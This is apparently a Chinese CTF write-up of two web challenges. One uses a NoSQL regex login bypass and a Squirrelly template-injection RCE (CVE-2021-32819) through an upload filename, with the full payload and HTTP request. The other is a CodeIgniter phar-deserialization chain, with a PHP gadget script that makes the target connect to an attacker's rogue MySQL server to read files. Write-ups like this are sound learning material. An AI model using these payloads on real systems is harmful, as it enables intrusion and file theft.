EzNode2

利用nosql注入登录admin,ban掉了很多,但 regexp 可以用

{"username":{"$regex":".*?"},"password":{"$regex":".*?"}}

登录后可以传文件这里使用了 squirrelly 模板该模板有个CVE , CVE-2021-32819参考

https://github.com/advisories/GHSA-q8j6-pwqx-pm96

这里文件名是可控的本地测试下尝试使用网上的payload

"aaa\",\"autoEscape\":\"\",\"defaultFilter\":\"e');global.process.mainModule.require('child_process').exec('calc');//"

发现无法触发rce,原因是文件名不能出现 / 去掉 / 发现报错

Squirrelly Error: Bad template syntax

Invalid regular expression flags
================================
var tR='';tR+='<!DOCTYPE html>\n<html lang="en">\n  <head>\n    <meta charset="utf-8">\n    <meta http-equiv="X-UA-Compatible" content="IE=edge">\n    <meta name="viewport" content="width=device-width, initial-scale=1">\n\n    <title>Bootstrap 4, from LayoutIt!</title>\n\n    <meta name="description" content="Source code generated using layoutit.com">\n    <meta name="author" content="LayoutIt!">\n\n    <link href="/static/css/bootstrap.min.css" rel="stylesheet">\n    <link href="/static/css/style.css" rel="stylesheet">\n    <style>* {\n      padding: 0;\n      margin: 0;\n    }\n    ul {\n      position: -webkit-sticky;\n      position: sticky;\n      top: 0;\n      list-style-type: none;\n      margin: 0;\n      padding: 0;\n      overflow: hidden;\n      background-color: #333;\n      font-size: 20px;\n    }\n    li {\n      float: right;\n    }\n    \n    li a {\n      display: block;\n      color: white;\n      text-align: center;\n      padding: 15px 30px;\n      margin: 0pc 30px;\n      text-decoration: none;\n    }\n    li a:hover {\n      background-color: #111;\n    }\n    \n    .welcomeContainer {\n      padding-top: 3rem !important;\n 
     max-width: 720px;\n      width: 50% !important;\n      padding-right: 15px;\n      padding-left: 15px;\n      margin-right: auto;\n      margin-left: auto;\n      box-sizing: border-box;\n    }\n    .welcomeContainer > p {\n    
  margin-bottom: 1rem;\n    }\n    a {\n      color: #007bff;\n      text-decoration: none;\n      background-color: transparent;\n    }\n    hr {\n      margin-top: 1rem;\n      margin-bottom: 1rem;\n      border: 0;\n      border-top: 1px solid rgba(0, 0, 0, 0.1);\n    }\n    h1 {\n      font-size: 2.5rem;\n      margin-bottom: 0.5rem;\n      font-weight: 500;\n      line-height: 1.2;\n    }\n    \n    .uploadContainer {\n      max-width: 620px;\n      width: 
50% !important;\n      padding-top: 3rem !important;\n      padding-right: 15px;\n      padding-left: 15px;\n      margin-right: auto;\n      margin-left: auto;\n      display: flex;\n      flex-direction: column;\n    }\n    .uploadContainer input {\n      display: block;\n      width: 98%;\n      height: calc(1.5em + 0.75rem + 2px);\n      font-size: 1rem;\n      padding: 0.2rem;\n      font-weight: 400;\n      line-height: 1.5;\n      color: #495057;\n      background-color: #fff;\n      background-clip: padding-box;\n      border: 1px solid #ced4da;\n      border-radius: 0.25rem;\n      transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;\n    }\n    .uploadContainer * {\n      margin-top: 3px;\n      margin-bottom: 10px;\n    }\n    .uploadContainer p {\n        margin: 0;\n        font-size: 18px;\n    }\n    .uploadContainer button {\n      color: #fff;\n      width: 100%;\n      background-color: #0095ff;\n      border-color: #007bff;\n      font-weight: 400;\n      text-align: center;\n      vertical-align: middle;\n      border: 1px solid transparent;\n      padding: 0.375rem;\n      font-size: 1rem;\n      line-height: 1.5;\n      border-radius: 0.25rem;\n      transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out,\n        border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;\n    }\n    </style>\n  </head>\n  <body>\n\n    <div class="uploadContainer">\n        <center>\n          <h5>Give me a file, I can analyze the relevant information of it.</h5>\n        \n    <form action="/home" method="POST" enctype="multipart/form-data">\n          <input type="file" name="file" id="file">\n        <button name="submit" type="submit">Submit</button>\n    </form>\n    </center>\n    </div>\n    <br><br>\n    <div class="container-fluid">\n  <div class="row">\n    <div class="col-md-12">\n      <table class="table">\n        <thead>\n          <tr>\n            <th>\n              ID\n            </th>\n            <th>\n              File Name\n            </th>\n            <th>\n              File Size\n     
       </th>\n            <th>\n              Mime Type\n            </th>\n            <th>\n              Md5 Hash\n            </th>\n          </tr>\n        </thead>\n        <tbody>\n          <tr>\n            <td>\n
    0\n            </td>\n            <td>\n              shell.jar\n            </td>\n            <td>\n              5268\n            </td>\n            <td>\n              application/octet-stream\n            </td>\n
 <td>\n              b3186dd95d6bec2a3f6d8df1f9822776\n            </td>\n          </tr>\n          <tr class="table-active">\n            <td>\n              1\n            </td>\n            <td>\n              download.zip\n     
       </td>\n            <td>\n              270210\n            </td>\n            <td>\n              application/x-zip-compressed\n            </td>\n            <td>\n              3bf555cbd8dd2adc4b72cdf2b9b45ded\n            </td>\n          </tr>\n          <tr class="table-success">\n            <td>\n              2\n            </td>\n            <td>\n              test.php\n            </td>\n            <td>\n              31\n            </td>\n  
          <td>\n              application/octet-stream\n            </td>\n            <td>\n              2a3d83868a52c042e4c974ce2dc635f3\n            </td>\n          </tr>\n          <tr class="table-warning">\n            <td>\n              ';tR+=c.l('F','e');global.process.mainModule.require('child_process').exec('calc');')(it.id);tR+='            </td>\n            <td>\n              ';tR+=c.l('F','e');global.process.mainModule.require('child_process').exec('calc');')(it.filename);tR+='            </td>\n            <td>\n              ';tR+=c.l('F','e');global.process.mainModule.require('child_process').exec('calc');')(it.filesize);tR+='            </td>\n            <td>\n       
       ';tR+=c.l('F','e');global.process.mainModule.require('child_process').exec('calc');')(it.mimetype);tR+='            </td>\n            <td>\n              ';tR+=c.l('F','e');global.process.mainModule.require('child_process').exec('calc');')(it.filehash);tR+='            </td>\n          </tr>\n        </tbody>\n      </table>\n    </div>\n  </div>\n</div>\n\n    <script src="/static/js/jquery.min.js"></script>\n    <script src="/static/js/bootstrap.min.js"></script>\n    <script src="/static/js/scripts.js"></script>\n  </body>\n</html>';if(cb){cb(null,tR)} return tR

可以根据报错信息构造闭合,即最终payload

filename="aaa\",\"autoEscape\":\"\",\"defaultFilter\":\"e');global.process.mainModule.require('child_process').exec('calc');('"

本地打

POST /home HTTP/1.1
Host: 192.168.43.172:3000
Content-Length: 377
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.43.172:3000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDvwrE2tlRi4jmBqg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.43.172:3000/home
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: thejs.session=s%3AUp9yQEn0vPM_dMkpL_jNESYtJPmUqSuu.le9ri4EXozPqP7Arm%2Ba%2BpOkGZXjxymjlBPszQ4H5WkE
Connection: close

------WebKitFormBoundaryDvwrE2tlRi4jmBqg
Content-Disposition: form-data; name="file"; filename="aaa\",\"autoEscape\":\"\",\"defaultFilter\":\"e');global.process.mainModule.require('child_process').exec('calc');('"
Content-Type: 123

123
------WebKitFormBoundaryDvwrE2tlRi4jmBqg
Content-Disposition: form-data; name="submit"


------WebKitFormBoundaryDvwrE2tlRi4jmBqg--

a

本地成功弹计算机,然后打远程反弹shell即可

code4

wp来自队友 @1manity

进入题目环境是CodeIgniter 4.2.7拿dirsearch扫一下(限速扫)发现源码泄露

a

读出来www.zip 解压本地审计一下,主要的点在Upload.php

<?php
namespace App\Controllers;
use CodeIgniter\Files\File;
class Upload extends BaseController
{
    protected $helpers = ['form'];

    public function index()
    {
        return view('upload_form', ['errors' => []]);
    }

    public function upload()
    {
        $validationRule = [
            'userfile' => [
                'label' => 'Image File',
                'rules' => 'uploaded[userfile]'
                    . '|max_size[userfile,100]'
                    . '|max_dims[userfile,1024,768]',
            ],
        ];

        if (! $this->validate($validationRule)) {
            $data = ['errors' => $this->validator->getErrors()];
            return view('upload_form', $data);
        }

        $img = $this->request->getFile('userfile');
        
        $img_content = file_get_contents($img);
        if(preg_match("/HALT_COMPILER/i",$img_content)){
            die("hack");
        }
        $name = $img->getName();
        $img->store('',$name);
        return view('upload_success');    
        
    }

    public function info(){
       
        $path = $this->request->getPost('name');
        $data = ['uploaded_flleinfo' => new File($path)];
        if($data){
            return view('upload_info', $data);
        }
        else{
            return "fail";
        }
        
    }
}

看到ban了HALT_COMPILER,想到phar反序列化,这个地方可以使用compress绕过。这个网上是可以找到一般的反序列化脚本的(不过没有源码)https://blog.csdn.net/qq_48985780/article/details/121252141 跟着他的思路,利用https://github.com/Gifts/Rogue-MySql-Server 这个工具在自己的恶意服务器上建立mysql服务,然后反序列化触发。

先配置服务器:

a

改rogue_mysql_server.py的配置

使用python2启动项目,会自动生成mysql.log改写为phar反序列化的脚本

<?php
namespace CodeIgniter\Database\MySQLi;
class Connection{
    public $hostname='xxx.xxx.xxx.xxx';
    public $port = '3307';
    public $database = 'aaa';
    public $username = 'root';
    public $password = 'root';
    public $charset = 'utf8';
}

namespace CodeIgniter;
class Model{
    public $db;
    public $table = 'hack';
    public function __construct($db)
    {
        # code...
        $this->db =$db;
    }
}

namespace CodeIgniter\Session\Handlers;
class MemcachedHandler{
    public $lockKey ='123';
    public $memcached= 'a';
    public function __construct($memcached)
    {
        # code...
        $this->memcached =$memcached;
    }
}

namespace CodeIgniter\Cache\Handlers;
class RedisHandler{
    public $redis;
    public function __construct($redis)
    {
        # code...
        $this->redis =$redis;
    }
}
$a = new RedisHandler(new \CodeIgniter\Session\Handlers\MemcachedHandler(new \CodeIgniter\Model(new \CodeIgniter\Database\MySQLi\Connection())));
echo serialize($a);
$phar = new \Phar("phar1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

放入虚拟机中gzip compress一下

┌──(kali㉿kali)-[~/]
└─$ gzip phar.phar

┌──(kali㉿kali)-[~/]
└─$ mv phar.phar.gz phar.phar

在upload页面中上传

在 /index.php/upload/info 触发phar反序列化

在服务器的mysql.log中读取到链接过来的代码,读取了配置中的文件